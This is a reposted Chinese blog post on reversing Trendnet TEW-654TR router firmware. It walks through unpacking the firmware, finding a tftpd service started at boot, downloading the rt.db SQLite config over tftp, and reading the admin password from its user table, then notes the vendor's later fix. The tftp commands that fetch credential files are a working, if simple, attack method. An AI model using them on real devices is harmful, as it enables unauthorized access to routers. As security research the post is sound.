首页 > 其他分享 >逆向路由器固件之敏感信息泄露 Part2——物联网安全——信息收集,获取db中的用户名和密码

逆向路由器固件之敏感信息泄露 Part2——物联网安全——信息收集,获取db中的用户名和密码

时间:2022-12-01 11:11:25浏览次数:71  
标签:db eve etc Part2 var 固件 tftp 路由器

逆向路由器固件之敏感信息泄露 Part2

 

之前的文章中详细介绍了各种解包路由器固件的工具。解包之后就获得了固件中的文件。下一步就是分析文件寻找漏洞了。这次分析的目标是Trendnet路由器,分析的漏洞是一个远程获取路由器权限的漏洞。

初步分析

通过路由器的登录界面得知路由器型号为Trendnet TEW-654TR,这对收集目标的信息是很有帮助的。通过官方介绍得知该路由器的一些特性。包括支持路由器,无线接入点,无线接入点客户端三种模式,支持NAT和有状态的包检查防御攻击以及有一个简单的web界面支持远程管理等。官网目前最新版固件为V1.10B26。本文中分析的固件版本为V1.10B12,可以从这里下载。为了方便就不适用file等工具进行信息收集了。直接使用binwalk查看bin文件信息,可以看到是比较标准的基于linux的文件系统。

使用Firmware Mod Kit直接自动解包成功:

解包成功之后第一件事情就是看一下etc目录配置文件和启动脚本。

复制代码
etc git:(master)  ls -al
total 32
drwxrwxrwx   7 root  wheel   238  5 30  2011 .
drwxrwxrwx  17 root  wheel   578  5 30  2011 ..
-rwxrwxrwx   1 root  wheel   230 11 10  2008 fstab-rwxr-xr-x   1 root  wheel  3774  5 30  2011 icon.ico-rwxrwxrwx   1 root  wheel   109 11 10  2008 inittabdrwxrwxrwx   3 root  wheel   102  3 23  2010 rc.d
lrwxrwxrwx   1 root  wheel    22  8 24 19:37 resolv.conf -> ../var/etc/resolv.conf
复制代码

并没有发现有价值的配置文件,但是rc.d目录下有一个叫rcS的启动脚本。

  etc git:(master)  cd rc.d  rc.d git:(master)  ls -altotal 8drwxrwxrwx  3 root  wheel  102  3 23  2010 .
drwxrwxrwx  7 root  wheel  238  5 30  2011 ..
-rwxrwxrwx  1 root  wheel  768  3 23  2010 rcS

rcS通常是在启动的时候初始化服务和环境,所以值得仔细看一下。

复制代码
  rc.d git:(master)  cat rcS#!/bin/ash# This script runs when init it run during the boot process.# Mounts everything in the fstabmount -amount -o remount +w /# Mount the RAM filesystem to /tmpmount -t tmpfs tmpfs /tmp# copy all files in the mnt folder to the etc foldercp -a /mnt/* /etc
mkdir -p /var/etc
mkdir -p /var/firm
mkdir -p /var/log
mkdir -p /var/misc
mkdir -p /var/run
mkdir -p /var/sbin
mkdir -p /var/tmp
mkdir -p /tmp/var
cp -f /etc/udhcpd.conf /var/etc/
cp -f /etc/udhcpd.leases /var/misc/#Add link for resolv.conf#ln -sf /var/etc/resolv.conf /etc/resolv.conf# Load configure file from Flash
/bin/echo "Init System..."
system_manager &# 
Start tftpd
/bin/echo "Start Tftpd..."tftpd 
&#insert cc_dev module for reset packet counterinsmod /lib/modules/cc_dev.ko
复制代码

脚本比较简单,先建立一些目录,然后启动了system_manager和tftp,最后加载了一个内核模块。先看下tftp吧。

复制代码
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ find -name tftpd
./sbin/tftpd
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ file ./sbin/tftpd 
./sbin/tftpd: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), stripped
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ strings ./sbin/tftpd 
/lib/ld-uClibc.so.0p ,D_init
_fini
__uClibc_main.......
复制代码

通过函数名和一些字符串,感觉像是一个可以直连的tftp server。尝试连接一下试试看。

复制代码
eve@eve:~$ tftp 1.1.1.102
tftp> get /var/etc/udhcpd.confReceived 615 bytes in 0.0 seconds
tftp> quit
eve@eve:~$ cat udhcpd.conf 
# Sample udhcpd configuration file (/etc/udhcpd.conf)# The location of the leases filelease_file  /var/misc/udhcpd.leases# The location of the pid filepidfile /var/run/udhcpd.pid# Everytime udhcpd writes a leases file, the below script will be called.# Useful for writing the lease file to flash every few hours.notify_file dumpleases  # <--- useful for debugging# The following settings are added by system_managerinterface br0opt router 192.168.10.1option subnet 255.255.255.0option domain 
start 192.168.10.101end 192.168.10.199option lease 604800static_lease    00:14:d1:b6:02:86   192.168.10.1
复制代码

寻找敏感信息

发现tftp服务是运行的而且可以直接连接。下一步就是找一下哪里存有敏感信息了。通过rcS文件中的注释中可以知道system_manager这个程序可以从flash中加载配置文件。如果system_manager把配置文件写入到了临时目录或者虚拟内存盘中,那么我们就可以直接下载配置文件了。查找一下system_manager中使用的文件路径:

复制代码
eve@eve:/opt/firmware-mod-kit/trunk/fmk/rootfs$ strings ./usr/bin/system_manager | grep &#039;/&#039;/lib/ld-uClibc.so.0/etc/default_rt.db
/etc/rt.db
/etc/default_ap.db
/etc/ap.db
/etc/default_apc.db
/etc/apc.db
ln -sf /var/etc/resolv.conf /etc/resolv.conf
/etc/scripts/config-vlan.sh 2 0tar -zxf /etc/www.tgz......
复制代码

db后缀的几个文件引起了我的注意,每一个文件都有一个文件名添加了default的备份文件。几乎所有的路由器都有恢复默认配置的功能,所以他们一定会把默认的配置存在某个地方。如果这些db文件是路由器的配置文件就有点说的通了。但是哪个文件存储了敏感的密码之类的信息呢。当然可以三个都下载下来看一下。想到最开始查看产品信息的时候有说到,这款路由器支持3种模式:route,access point,access point client。这里的3个db看起来刚好对应三种模式的配置。既然我们测试的这个目标开启了远程web管理,应该是route模式,所以先下载rt.db看看。

eve@eve:~$ tftp 1.1.1.102
tftp> binarytftp> get /etc/rt.dbReceived 49152 bytes in 0.1 seconds
tftp> quiteve@eve:~$ file rt.db 
rt.db: SQLite 3.x database

sqlite数据库。看一下里面的数据。

复制代码
eve@eve:~$ sqlite3 rt.db
SQLite version 3.6.22Enter ".help" for instructions
Enter SQL statements terminated with a ";"sqlite> .tables
advanced_network      restore_default       wan_static          
daylight_saving       smtp_settings         website_filter      
db_version            special_application   website_filter_mode 
dhcp_server           static_routing        wireless_advanced   
dmz                   syslog                wireless_basic      
dynamic_dns           time                  wireless_filter     
dynamic_routing       user                  wireless_filter_mode
ip_filter             virtual_server        wireless_security   
lan_settings          wan_dhcp              wireless_wps        
log_setting           wan_l2tp              wizard_setting      
message               wan_pppoe             wpa_settings        
nat_filter            wan_pptp            
remote_management     wan_settings        
sqlite> .schema user
CREATE TABLE "user" ("user_name" VARCHAR DEFAULT &#039;&#039;, "user_pwd" VARCHAR DEFAULT &#039;&#039;, "level" CHAR DEFAULT &#039;&#039;);
sqlite> select * from user;
admin|asecretpassword|1user|asecretpassword|0sqlite>
复制代码

可以直接查询到登陆密码。使用数据库中的密码成功登陆。

通过一些简单的分析,我们找到了一个远程利用的漏洞。欢迎来到嵌入式安全的世界~当然这个漏洞看起来有点挫。下一篇会继续一些一些更有意思的漏洞。

在最新版的固件中,厂商直接禁用掉了开机启动tftp的功能来解决这个问题。

# Load configure file from Flash
/bin/echo "Init System..."system_manager &
# Start tftpd
#/bin/echo "Start Tftpd..."#tftpd &
#insert cc_dev module for reset packet counter
insmod /lib/modules/cc_dev.ko

 

sigline.gif  本文转自 K1two2 博客园博客,原文链接: http://www.cnblogs.com/k1two2/p/4767535.html ,如需转载请自行联系原作者

标签:db,eve,etc,Part2,var,固件,tftp,路由器
From: https://www.cnblogs.com/bonelee/p/16940796.html

相关文章

  • 超聚变服务器操作系统FusionOS与阿里云PolarDB数据库完成兼容性认证
    近日,超聚变服务器操作系统FusionOS签署阿里巴巴开源CLA(ContributionLicenseAgreement,贡献许可协议),正式与阿里云PolarDB开源数据库社区牵手,并率先展开超聚变服务器......
  • 物联网安全——信息泄露 tenda某路由器信息泄露查找 固件信息泄露 检测方式:IPS签名(web
    tenda某路由器信息泄露查找 本文作者:i春秋作家——icqb32d3a261:前期准备:(1)路由器固件一般获取固件的方法有以下几种官方网站根据对应版本下载(√),点击下载......
  • jdbc
    jdbc1.注册驱动Class.forName("com.mysql.jdbc.Driver");2.获取连接Connectionconn=DriverManager.getConnection(url,username,password);3.定义SQL语句Stri......
  • KingbaseES数据库通过dblink访问Oracle数据库
    本文介绍如KingbaseES数据库通过dblink访问Oracle数据库。源端:KingbaseES数据库(KingbaseESV008R006C006B0021)目标端:Oracle数据库一、配置Oracle的ODBC1、安装odbc,若有......
  • 配置ODBC连接KingbaseES数据库
    本文介绍如何通过ODBC连接KingbaseES数据库。1、配置odbc1)安装odbc,若有odbc则不用进行安装yum-yinstallunixODBC2)确认修改文件路径[root@node01~]#odbcinst-......
  • .net 温故知新:【10】.NET ORM框架EFCore使用入门之CodeFirs、DBFirst
    前言:本系列是我自己学习.net相关知识,以便跟上.net跨平台的步伐,目前工作原因基本在.netFramework4.7以下,所以才有了这一系列的学习总结,但是并不是从基本的C#语法和基础知识......
  • PolarDB-X 分布式数据库初体验
    目录1.什么是分布式数据库2.PolarDB-X是什么样的存在2.1产品架构2.2物理拓扑3.部署PolarDB-X3.1安装PXD3.2部署PolarDB-X4.参考1.什么是分布式数据库分布式数据库......
  • windbg 分析 32 位进程的 64 位转储文件
    场景:x86的项目在x64的windows机器上运行时出现未响应的情况,使用任务管理器创建该进程的转储文件因为项目是32位的,所以使用x86的windbg来调试dmp文件,使用kn......
  • 数据库编程——MongoDB json
    在学习数据库编程总结了笔记,并分享出来。有问题请及时联系博主:​​Alliswell_WP​​,转载请注明出处。09-数据库编程day05(mongodbjson)目录:一、学习目标二、复习三、作业四......
  • Tempdb 不能收缩问题
    tempdbinitialsize和dbccshrinkfile在使用sqlserver时您可能遇到过下面的情况,tempdb的数据文件初始大小为3mb,随着对tempdb的使用,tempdb文件逐渐变得很大(例如30GB),导......